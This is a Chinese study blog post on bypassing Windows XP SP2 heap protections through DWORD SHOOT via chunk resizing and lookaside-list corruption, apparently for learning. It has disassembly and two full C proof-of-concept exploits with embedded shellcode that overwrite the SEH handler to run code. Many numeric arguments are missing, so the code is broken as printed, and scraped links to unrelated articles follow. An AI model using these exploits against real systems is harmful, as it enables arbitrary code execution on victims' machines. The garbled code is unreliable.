微软在堆中也增加了一些安全校验操作,使得原本是不容易的堆溢出变得困难重重:

* PEB Random:在 Windows XP SP2 之后,微软不再使用固定的 PEB 基址 0x7FFDF000,而是使用具有一定随机性的基址,从而影响了 DWORD SHOOT 对 PEB 中函数的攻击。

* Safe Unlink:微软改写了操作双向链表的代码,在卸载 free list 中的堆块时更加小心。SP2 在进行删除操作时,提前验证堆块的完整性,以防止 DWORD SHOOT:

 int safe_remove(ListNode * node)
{
if( (node->blink->flink==node)&&(node->flink->blink==node) )
{
node -> blink -> flink = node -> flink;
node -> flink -> blink = node -> blink;
return ;
} else {
// raise exception
return ;
}
}

* Heap Cookie:与栈中类似,堆中也引入了 cookie,用于检测堆溢出的发生。cookie 布置在堆首中原堆块的 segment table 的位置,占 1 字节:

* 元数据加密:Windows Vista 及后续版本的系统中开始使用这项措施。块首中的一些重要数据在保存时会与一个 4 字节的随机数进行异或加密,使用时再异或解密。这样就不能直接破坏这些数据了。

堆的研究者之一 Matt Conover 在 CanSecWest 04 的演讲议题 Windows Heap Exploitation (Win2K SP0 through WinXP SP2) 中,针对 PEB random 机制,指出变动只是在 0x7FFDF000 ~ 0x7FFD4000 之间,随机区间不大,在多线程状态下容易被预测出来。

而 Heap Cookie 只占 1 字节,在研究其生成随机的算法之后仍存在破解可能。

对于 Safe Unlink 也有人找到了一些破解思路。

但这些突破的思路要在 XP SP2 之后成功实施并利用,需要十分苛刻的条件,堆溢出变得难如登天。

溢出堆中的数据

但堆保护措施是对堆的各个关键数据结构进行保护,对堆中的数据不提供保护,所以攻击的第一个思路,是溢出堆中存放的关键数据结构:重要变量、数据、函数指针…

利用 chunk 重设大小攻击堆

Safe Unlink 是从 FreeList[n] 上拆卸 chunk 时对双向链表进行验证,但是,将一个 chunk 插入到 FreeList[n] 时没有进行校验!如果能伪造一个 chunk 并将其插入到 FreeList[n] 上就可以造成某种攻击。如下两种情况会发生插入操作:

  内存释放后 chunk 不再被使用时。
当 chunk 的内存空间大于申请的大小,剩余的空间会被建成一个新的 chunk 链入链表中。

上述第二种情况提供了可以利用的机会。先考虑申请 chunk 的过程,从 FreeList[] 上申请空间的过程如下:

  将 FreeList[] 上最后一个 chunk 与申请的大小进行比较,如果 chunk 的大小 ≥ 申请的大小,则继续分派,否则扩展空间(若超大堆块链表无法满足分配,则扩展堆)
从 FreeList[] 的第一个 chunk 依次检测,直到找到第一个符合要求的 chunk,然后卸载
分配好空间后,如果 chunk 有剩余空间,剩余空间会建成新的 chunk 并插入到链表中

这个过程中,第一种情况没有机会,第二种情况有 Safe Unlink 进行保护。但申请空间之后拆卸 chunk 时 Safe Unlink 存在一个问题:即使 Safe Unlink 检测到 chunk 结构被破坏,还是会允许一些后续的操作,包括重设 chunk 大小的操作。

首先用一段程序来观察将剩余空间的 chunk 插入到 FreeList[] 中的过程:

 // OS : XP SP2
// Compiler: Visual C++ 6.0 (build release)
#include <stdio.h>
#include <windows.h> void main()
{
HLOCAL h1;
HANDLE hp = HeapCreate(,0x1000,0x10000);
_asm int
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,0x10);
}

HeapCreate() 后,堆区初始化完成,此时只有一个 chunk 位于 FreeList[0],HeapAlloc() 申请小规模的空间后,会产生新的 chunk 并被插入到 FreeList[] 中。

int 3 之后启动 OllyDbg 观察 eax 中的返回值,指向 heap=0x00390000,FreeList[] @ 0x00390178(堆首信息参见 winheap.h)。

FreeList[0] = 0x00390178 = &(Flink=0x00390688=Blink),此时唯一的 chunk 如下(d [eax+178]-8):

                  0x130       0x08   0x0 0x10 0x0 0x0
flink=0x00390178 blink=0x00390178
data ..............................

关键的地方在 ntdll.dll 基址偏移 0x11513 处,是修改新的 chunk 和上一个 chunk 指针的开始,反汇编代码如下:

 7C931513  8D47         LEA EAX,DWORD PTR DS:[EDI+]   ; 获取 new_chunk 的 Flink 的位置
7C931516 10FFFFFF MOV DWORD PTR SS:[EBP-F0],EAX
7C93151C 8B51 MOV EDX,DWORD PTR DS:[ECX+] ; 获取 next_chunk 的 Blink 的位置;ECX==old_chunk->Flink==next_chunk
7C93151F 08FFFFFF MOV DWORD PTR SS:[EBP-F8],EDX
7C931525 MOV DWORD PTR DS:[EAX],ECX ; 保存 new_chunk 的 Flink
7C931527 MOV DWORD PTR DS:[EAX+],EDX ; 保存 new_chunk 的 Blink
7C93152A MOV DWORD PTR DS:[EDX],EAX ; 更新 next_chunk 的 Blink->Flink 的 Flink
7C93152C MOV DWORD PTR DS:[ECX+],EAX ; 更新 next_chunk 的 Blink

算法伪代码如下:

 // 设置 new_chunk
new_chunk->Flink = old_chunk->Flink
new_chunk->Blink = old_chunk->Flink->Blink // 算法开始时 ECX 已保存 old_chunk->Flink==next_chunk,各步计算以 ECX 为线索
// 将 new_chunk 插入到 FreeList[]
old_chunk->Flink->Blink->Flink = new_chunk
old_chunk->Flink->Blink = new_chunk

如果事先将 old_chunk->Flink 覆盖为 0xAAAAAAAA,就会执行:

 [new_chunk->Flink] = 0xAAAAAAAA
[new_chunk->Blink] = [0xAAAAAAAA+] // read *(0xAAAAAAAA+4)
[[0xAAAAAAAA+4]] = new_chunk // DWORD SHOOT // write &(*(0xAAAAAAAA+4))
[0xAAAAAAAA+] = new_chunk // write &(0xAAAAAAAA+4))

以上算法中,第 3 行为典型的 DWORD SHOOT 攻击!如果事先将 shellcode 布置到 new_chunk,就可以利用 DWORD SHOOT 执行 shellcode!PoC 如下:

 #include <stdio.h>
#include <windows.h>
void main()
{
char shellcode[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // overwrite h1
"\x10\x01\x10\x00\x99\x99\x99\x99" // overwrite header of chunk_after_h1
"\xEB\x06\x39\x00\xEB\x06\x39\x00" // overwrite Flink & Blink of chunk_after_h1 (EB06: jmp 06)
"\x90\x90\x90\x90\x90\x90\x90\x90" // overwrite data of chunk_after_h1
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xEB\x31\x90\x90\x90\x90\x90\x90" // jmp
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x8C"
"\x06\x39\x00\xE4\xFF\x12\x00\x00" // fake Flink & Blink (0x0012FFE4=SE Handler)
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75"
"\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD"
"\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
"\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24"
"\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
"\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9"
"\x33\xDB\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57"
"\xFC\x53\xFF\x57\xF8" // 165 bytes msgbox shellcode for xp/win7
;
HLOCAL h1,h2;
HANDLE hp = HeapCreate(,0x1000,0x10000);
//_asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,);
memcpy(h1,shellcode,);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,); printf("press any key to continue...");
getchar(); int zero=;
printf("divide operationg executing...\n");
zero=/zero;
printf("%d\n",zero);
}

当第 33 行申请 h2 的空间时,将会执行如下过程:

 // h2 @ 0x003906B8
[0x003906B8] = 0x003906EB
[0x003906B8+] = 0x0012FFE4
[0x0012FFE4] = 0x003906B8 // DWORD SHOOT : overwrite se handler
[0x003906EB+]=0x003906B8

实验过程中发现代码中第 7 行的 shellcode 有具体要求,如果填写不当会导致异常。堆这部分内容需要再花时间学习!

利用 Lookaside 表进行攻击

Safe Unlink 对空表中双向链表进行了有效性验证,而对于快表中的单链表没有进行验证。从快表中正常拆卸一个节点(chunk)的过程为:

pre_chunk->next = chunk->next  // pre_chunk : previous_chunk; chunk : the chunk to remove

思路:如果控制 chunk->next,就控制了 pre_chunk->next,进而当用户再次申请空间时系统就会将这个伪造的地址作为申请得到的空间的起始地址返回给用户。用户一旦向这个再次申请来的空间写入数据就会留下溢出的隐患。

 // os : win xp sp2
// compiler : visual c++ 6.0
#include <stdio.h>
#include <windows.h>
void main()
{
char shellcode[]=
"\xEB\x40\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // EB40 : jmp 0x40
"\x03\x00\x03\x00\x5C\x01\x08\x99" // header of next_chunk
"\xE4\xFF\x12\x00" // next_chunk->next (0x0012FFE4=default se)
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x0C\x8B\x09\x8B\x09\x8B\x69\x18\xAD\x3D\x6A\x0A\x38\x1E\x75"
"\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD"
"\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
"\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24"
"\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
"\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9"
"\x33\xDB\x53\x68\x24\x20\x63\x78\x8B\xC4\x53\x50\x50\x53\xFF\x57"
"\xFC\x53\xFF\x57\xF8" // 165 bytes msgbox shellcode for xp/win7
;
HLOCAL h1,h2,h3;
HANDLE hp;
hp = HeapCreate(,,); // enable lookaside table
//_asm int 3
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,);
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,);
HeapFree(hp,,h3); // free to lookaside table
HeapFree(hp,,h2); // free to lookaside table
memcpy(h1,shellcode,);
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,); // alloc from lookaside
h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,); // alloc from lookaside
memcpy(h3,"\x90\x1E\x39\x00",); // h3=0x0012FFE4=se, 0x00391E90 = h1 = shellcode[]
int zero=;
zero=/zero; // raise exception, call se handler
printf("zero = %d\n",zero);
}

看到 tombkeeper 用 WinDbg 中的命令行,才发现 OllyDbg 有 CommandLine 插件,很好用!几乎能只用键盘来操作了,当 eax 指向 heap 时,能直接 d [eax+178]-8 省了不少麻烦 ~_*

OD: Heap Overflow (XP SP2 - 2003) & DWORD SHOOT via Chunk Resize的更多相关文章

  1. OD: Heap Exploit : DWORD Shooting & Opcode Injecting

    堆块分配时的任意地址写入攻击原理 堆管理系统的三类操作:分配.释放.合并,归根到底都是对堆块链表的修改.如果能伪造链表结点的指针,那么在链表装卸的过程中就有可能获得读写内存的机会.堆溢出利用的精髓就是 ...

  2. OD: Heap in Windows 2K & XP SP1

    Windows 堆溢出 MS 没有完全公开 Windows 的堆管理细节,目前对 Windows 堆的了解主要基于技术狂热者.黑客.安全专家.逆向工程师等的个人研究成果. 目前 Windows NT4 ...

  3. 利用DWORD SHOOT实现堆溢出的利用(先知收录)

    原文链接:https://xz.aliyun.com/t/4009 1.0 DWORD SHOOT是什么捏? DWORD SHOOT指能够向内存任意位置写入任意数据,1个WORD=4个bytes,即可 ...

  4. 用VC2010以上版本编译可以在低版本XP和2003的运行程序的方法

    2013-09-17   作者:佚名   来源:本站整理   浏览:2001   评论:1   一直以来倍受此事困拢,vc2010以上版本编译出的exe或dll总是会引用kernel32.dll的En ...

  5. wvblk 把 xp、2003、win7(32位) 装入 VHD

    关键1:是[预安装]阶段F6加载wvblk驱动: or 在还原ghost镜像后,导入wvblk驱动. 关键1.5:对于 win7(32位)来说,还可以在设备管理器内,通过添加“过时”硬件的方式导入wv ...

  6. Kernel pwn 基础教程之 Heap Overflow

    一.前言 在如今的CTF比赛大环境下,掌握glibc堆内存分配已经成为了大家的必修课程.然而在内核态中,堆内存的分配策略发生了变化.笔者会在介绍内核堆利用方式之前先简单的介绍一下自己了解的内核内存分配 ...

  7. vs2012编译的程序不能在XP和2003下执行问题的解决方法

    问题如题,通过无数次百度和谷歌后,发现,微软已经确认这是一个缺陷,安装Vs2012的update 3的升级包就可以解决问题.同时,在分发包的地方,vcredist_x86.exe 随程序分发一份就可以 ...

  8. PDF在xp或2003下正常在win7下乱码的问题

    1.先确定当前PDF文件需要字体(在PDF工具打开找到Font字体可以查看具体需要哪些字体). 2.网上下载或者在生成PDF的电脑上把老版本字体拷贝出来然后在win7下安装,当提示已经存在该字体时,直 ...

  9. WIN XP SP2系统经常性死机问题解决历程

    如题: 1.初始时,XP还能进入系统,等系统3分钟左右,鼠标熄灭,键盘无反应,查看资源管理器CPU 100%,内存占用不高. 2.现象初步分析: a.怀疑是病毒占用CPU 100%,于是下载360安全 ...

随机推荐

  1. (转载)最实用的清除浮动代码 css的文字过长裁剪后面跟着省略号

    css: .clearfloat:after{display:block;clear:both;content:"";visibility:hidden;} .clearfloat ...

  2. Websocket 与代理服务器如何交互? How HTML5 Web Sockets Interact With Proxy Servers

    How HTML5 Web Sockets Interact With Proxy Servers Posted by Peter Lubberson Mar 16, 2010 With the re ...

  3. 获取win7时区所有信息

    打开命令行工具: tzutil /l # 或者输入到文件中tzutil /l > data.txt # -*- utf-8 -*- """获取win7所有时区信息, ...

  4. 大脑皮层是如何工作的 《人工智能的未来》(<On intelligence>)读书笔记

    PS:今年寒假的读书笔记,挖下的坑已无力再填...不过有关智能和人工智能的书还是要继续读的~ 正文: 我觉得书名翻译不是很确切,全书讨论的核心应该更是在“真”智能:讨论对人脑智能的理解,可以怎样帮助我 ...

  5. codeforces567E. President and Roads

    题目大意:总统要回家,会经过一些街道,每条街道都是单向的并且拥有权值.现在,为了让总统更好的回家,要对每一条街道进行操作:1)如果该街道一定在最短路上,则输出“YES”.2)如果该街道修理过后,该边所 ...

  6. android.os.NetworkOnMainThreadException异常处理办法

    网上搜索后知道是因为版本问题,在4.0之后在主线程里面执行Http请求都会报这个错,也许是怕Http请求时间太长造成程序假死的情况吧. 在发起Http请求的Activity里面的onCreate函数里 ...

  7. 一起学习iOS开发专用词汇,每天记3个,助你变大牛-b

    大家做开发最大的问题是什么?英语的问题应该困扰很多的同学的地方,我们提倡科学学习开发中的常用词汇.我们不要求大家有特别好的听.说.写,只要能够记住,能够认识这些常用词汇你以后的开发也将游刃有余.我们的 ...

  8. "类名.this"与"this"的区别

    "this"是指(或者说:所代表的是)当前这段代码所在的类的对象.而"类名.this"是指"类名"的对象(一般在匿名类或内部类中使用来调用外 ...

  9. 令用EclipseJ2EE创建的Dynamic Web project目录结构与用MyEclipse创建的Web project一样

    Eclipse for EE 版本, 创建 Dynamic Web Project  会有俩个工程. 其中一个 是你创建的工程, 另外一个 是Servers 工程(其实也就是tomcat 的一个配置) ...

  10. 调侃Cookie

    近期看着某些小朋友那琢急的学习心态,瞬间发文一篇,谨此以助小朋友早日有成! 闲话不扯远,实话见真言,晃悠许久觉得开头还是谈谈Cookie这只菜篮,而且是一只私家菜篮,为啥说它是一只菜篮呢,各位看官必定 ...